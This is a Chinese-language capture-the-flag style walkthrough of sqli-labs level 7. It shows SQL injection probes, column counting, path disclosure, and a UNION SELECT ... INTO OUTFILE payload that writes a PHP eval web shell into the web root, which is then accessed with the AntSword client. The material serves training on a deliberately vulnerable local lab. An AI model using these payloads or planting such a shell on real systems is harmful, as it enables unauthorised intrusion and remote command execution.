sqli-labs第七关

第一步,判断注入点

?id=1

?id=1'

?id=1"

?id=1')

?id=1")

?id=1'))

可以看到,存在注入点,且为字符型注入,单引号括号括号闭合

第二步,判断字段数

?id=1')) order by 3 --+

?id=1')) order by 4 --+

 页面正常,可判断字段数为3

 页面报错,可判断字段数不为4、

第三步:判断回显位

 页面无回显,根据页面的提示“use outfile”,判断需要写入文件 才能过关

?id=-1')) union select 1,@@basedir,@@datadir --+
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
通过语句可以查看目录路径地址

提示使用outfile
load_file()读取文件
前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL
into outfile() 写入文件

需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。

可以用命令窗口看一下MYSQL的权限,先进入MYSQL

show variables lilke '%secure%' ;

如果使用的是phpstudy,进入mysql安装目录,

我的目录是D:\LeStoreDownload\phpStudyjiayou\phpstudy_pro\Extensions\MySQL5.7.26

进入目录,找到my.ini 修改里面的secure-file-priv参数

如果没有secure_file_priv这个选项,直接添加即可。

?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\LeStoreDownload\\phpStudyjiayou\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php" --+  这里的路径必须用\\

向 目标路径 进行写入一个名为eval的php一句话木马,意思是打开命令行

虽然页面报错,但是在目标路径下可以看到写入的的1.php文件

 用蚁剑进行连接:

先添加数据:右键,添加数据

 填入网址,并点“测试连接”

测试正常,点击“添加”

 双击URL,打开文件管理

 可以看到我们写的1.php脚本文件,双击打开1.php连接成功!

 至此,第七关就结束了!!!